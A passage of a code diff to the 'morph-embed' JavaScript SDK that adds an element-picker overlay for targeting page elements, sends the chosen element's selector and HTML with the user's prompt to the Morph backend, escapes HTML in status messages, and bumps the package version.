2433
+ const s = overlay.style;
2434
+ s.display = 'block';
2435
+ s.left = r.left + 'px'; s.top = r.top + 'px'; s.width = r.width + 'px'; s.height = r.height + 'px';
2436
+ }
2437
+
2438
+ function onMove(e) {
2439
+ const el = e.target;
2440
+ if (!el || isOurs(el)) { overlay.style.display = 'none'; current = null; return; }
2441
+ current = el;
2442
+ try { moveOverlay(el); } catch (_) { /* never break the page */ }
2443
+ }
2444
+ function onClick(e) {
2445
+ if (isOurs(e.target)) return; // let our own UI receive clicks
2446
+ e.preventDefault(); e.stopPropagation();
2447
+ finish(current || e.target);
2448
+ }
2449
+ function onKey(e) { if (e.key === 'Escape') { e.preventDefault(); cancel(); } }
2450
+
2451
+ function teardown() {
2452
+ active = false; current = null;
2453
+ try {
2454
+ document.removeEventListener('mousemove', onMove, true);
2455
+ document.removeEventListener('click', onClick, true);
2456
+ document.removeEventListener('keydown', onKey, true);
2457
+ if (document.documentElement) document.documentElement.style.cursor = '';
2458
+ if (overlay) overlay.style.display = 'none';
2459
+ } catch (_) { /* noop */ }
2460
+ }
2461
+ function finish(el) { const cb = pickCb; teardown(); if (cb) { try { cb(el); } catch (_) {} } }
2462
+ function cancel() { const cb = cancelCb; teardown(); if (cb) { try { cb(); } catch (_) {} } }
2463
+
2464
+ function start(onPick, onCancel) {
2465
+ if (active) return;
2466
+ active = true; pickCb = onPick; cancelCb = onCancel;
2467
+ try {
2468
+ ensureOverlay();
2469
+ (document.body || document.documentElement).appendChild(overlay);
2470
+ document.addEventListener('mousemove', onMove, true);
2471
+ document.addEventListener('click', onClick, true);
2472
+ document.addEventListener('keydown', onKey, true);
2473
+ if (document.documentElement) document.documentElement.style.cursor = 'crosshair';
2474
+ } catch (_) { teardown(); }
2475
+ }
2476
+ function stop() { teardown(); }
2477
+ function isActive() { return active; }
2478
+
2479
+ window.Morph.picker = { start, stop, isActive, selectorFor, describe };
2480
+ if (typeof module !== 'undefined' && module.exports) module.exports = { selectorFor, describe };
2481
+ })();
2482
+
2483
+
2292
2484
  /* ---- sdk/src/ui.js ---- */
2293
2485
  /*
2294
2486
  * Morph SDK — UI layer: launcher + edits panel + undo toast, isolated in a
@@ -2666,6 +2858,7 @@
2666
2858
  const store = deps.store;
2667
2859
  const bar = deps.bar;
2668
2860
  const ui = deps.ui || null;
2861
+ const picker = deps.picker || null;
2669
2862
  const extractContext = deps.extractContext;
2670
2863
  const fetchFn = deps.fetchFn;
2671
2864
  const stageDelays = deps.stageDelays || STAGE_DELAYS;
@@ -2699,10 +2892,68 @@
2699
2892
  }
2700
2893
  backend = (typeof config.backend === 'string' && config.backend)
2701
2894
  ? config.backend.replace(/\/$/, '') : DEFAULT_BACKEND;
2702
- bar.mount({ onSubmit, onUndo });
2895
+ // onPick only when a picker exists — the bar hides the ⌖ button when
2896
+ // no handler is passed, so users never see a dead control.
2897
+ const handlers = { onSubmit, onUndo, onHide };
2898
+ if (picker) handlers.onPick = onPick;
2899
+ bar.mount(handlers);
2703
2900
  return api;
2704
2901
  }
2705
2902
 
2903
+ // ---- element targeting (mirrors extension/src/content.js) --------------
2904
+ let activeTarget = null; // { selector, label } while the user has a pick
2905
+
2906
+ function escapeHtml(s) {
2907
+ return String(s).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
2908
+ }
2909
+ function outlineTarget(el) {
2910
+ try {
2911
+ if (!win.document.getElementById('morph-sdk-target-style')) {
2912
+ const st = win.document.createElement('style');
2913
+ st.id = 'morph-sdk-target-style';
2914
+ st.textContent = '[data-morph-targeted="1"]{outline:2px solid #4c8dff !important;outline-offset:2px !important;}';
2915
+ win.document.documentElement.appendChild(st);
2916
+ }
2917
+ el.setAttribute('data-morph-targeted', '1');
2918
+ } catch (_) { /* cosmetic only */ }
2919
+ }
2920
+ function clearTargetState() {
2921
+ activeTarget = null;
2922
+ try {
2923
+ const el = win.document.querySelector('[data-morph-targeted="1"]');
2924
+ if (el) el.removeAttribute('data-morph-targeted');
2925
+ } catch (_) { /* noop */ }
2926
+ try { bar.clearTarget(); } catch (_) { /* bar optional */ }
2927
+ }
2928
+ function targetHtml() {
2929
+ try {
2930
+ const el = activeTarget && win.document.querySelector(activeTarget.selector);
2931
+ return el ? String(el.outerHTML).slice(0, 4000) : '';
2932
+ } catch (_) { return ''; }
2933
+ }
2934
+ function onPick() {
2935
+ if (!picker || !picker.start) return;
2936
+ try { bar.setStatus('Click any element on the page to target it — Esc to cancel.', ''); } catch (_) { /* noop */ }
2937
+ picker.start((el) => {
2938
+ try {
2939
+ const selector = picker.selectorFor(el, win.document);
2940
+ if (!selector) { bar.setStatus('Couldn’t target that element — try another.', 'err'); return; }
2941
+ activeTarget = { selector, label: picker.describe(el) };
2942
+ outlineTarget(el);
2943
+ bar.setTarget({ label: activeTarget.label, onClear: clearTargetState });
2944
+ bar.setStatus('Targeting <b>' + escapeHtml(activeTarget.label) + '</b>. Now type how to change it.', 'ok');
2945
+ if (bar.focusInput) bar.focusInput();
2946
+ } catch (_) { /* never break the page */ }
2947
+ }, () => {
2948
+ try { bar.aimActive(false); bar.setStatus('Pick cancelled.', ''); } catch (_) { /* noop */ }
2949
+ });
2950
+ }
2951
+ // Closing the bar ends targeting: cancel any in-progress pick, drop the chip.
2952
+ function onHide() {
2953
+ try { if (picker && picker.stop) picker.stop(); } catch (_) { /* noop */ }
2954
+ clearTargetState();
2955
+ }
2956
+
2706
2957
  // Confirm gate for actions. window.confirm is trusted browser chrome the
2707
2958
  // page can't spoof; a bar-styled dialog can replace it later.
2708
2959
  function confirmFn(name, description) {
@@ -2716,7 +2967,7 @@
2716
2967
  () => { try { bar.setStatus('✓ Action "' + name + '" done.', 'ok'); } catch (_) { /* bar gone */ } },
2717
2968
  (e) => {
2718
2969
  const msg = String((e && e.message) || e);
2719
- try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + msg, /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
2970
+ try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + escapeHtml(msg), /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
2720
2971
  }
2721
2972
  );
2722
2973
  }
@@ -2797,6 +3048,7 @@
2797
3048
  let resp;
2798
3049
  try {
2799
3050
  const body = { prompt, context, url: win.location.href };
3051
+ if (activeTarget) body.target = { selector: activeTarget.selector, html: targetHtml() };
2800
3052
  if (registry.hasSources() || registry.hasActions()) body.manifests = registry.manifests();
2801
3053
  const r = await fetchFn(backend + '/api/transform', {
2802
3054
  method: 'POST',
@@ -2810,7 +3062,7 @@
2810
3062
  resp = await r.json();
2811
3063
  } catch (e) {
2812
3064
  clearStages();
2813
- try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + String((e && e.message) || e), 'err'); } catch (_) { /* noop */ }
3065
+ try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + escapeHtml(String((e && e.message) || e)), 'err'); } catch (_) { /* noop */ }
2814
3066
  return;
2815
3067
  }
2816
3068
  clearStages();
@@ -2839,7 +3091,9 @@
2839
3091
  const edit = await store.appendEdit(pathKey(), anchored, { prompt });
2840
3092
  const note = handle.failed ? ' (' + handle.failed + ' op(s) skipped)' : '';
2841
3093
  const explanation = (resp.transform && resp.transform.explanation) || 'Done.';
2842
- bar.setStatus('✓ ' + explanation + ' Saved for this page.' + note, 'ok');
3094
+ // setStatus renders TRUSTED HTML (innerHTML) escape the model's
3095
+ // free-text explanation, exactly as the extension does (content.js).
3096
+ bar.setStatus('✓ ' + escapeHtml(explanation) + ' Saved for this page.' + note, 'ok');
2843
3097
  bar.showActions(true);
2844
3098
  try { bar.clearInput(); } catch (_) { /* noop */ }
2845
3099
  await refreshCount();
@@ -2965,7 +3219,8 @@
2965
3219
  });
2966
3220
  const embed = createEmbed({
2967
3221
  config, win: window, DSL: window.MorphDSL, registry, store,
2968
- bar: window.Morph.bar, ui, extractContext: window.Morph.extractContext,
3222
+ bar: window.Morph.bar, ui, picker: window.Morph.picker,
3223
+ extractContext: window.Morph.extractContext,
2969
3224
  fetchFn: doFetch, compose: window.MorphStorage.composeEdits,
2970
3225
  });
2971
3226
  embed.init();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "morph-embed",
3
- "version": "0.2.0",
3
+ "version": "0.2.2",
4
4
  "description": "Embed a prompt bar in your product so users can generate the features you haven't built — real-data widgets, layout reshapes, and confirm-gated actions. Declarative-DSL security model; your data never leaves the page.",
5
5
  "license": "MIT",
6
6
  "main": "dist/morph-embed.esm.mjs",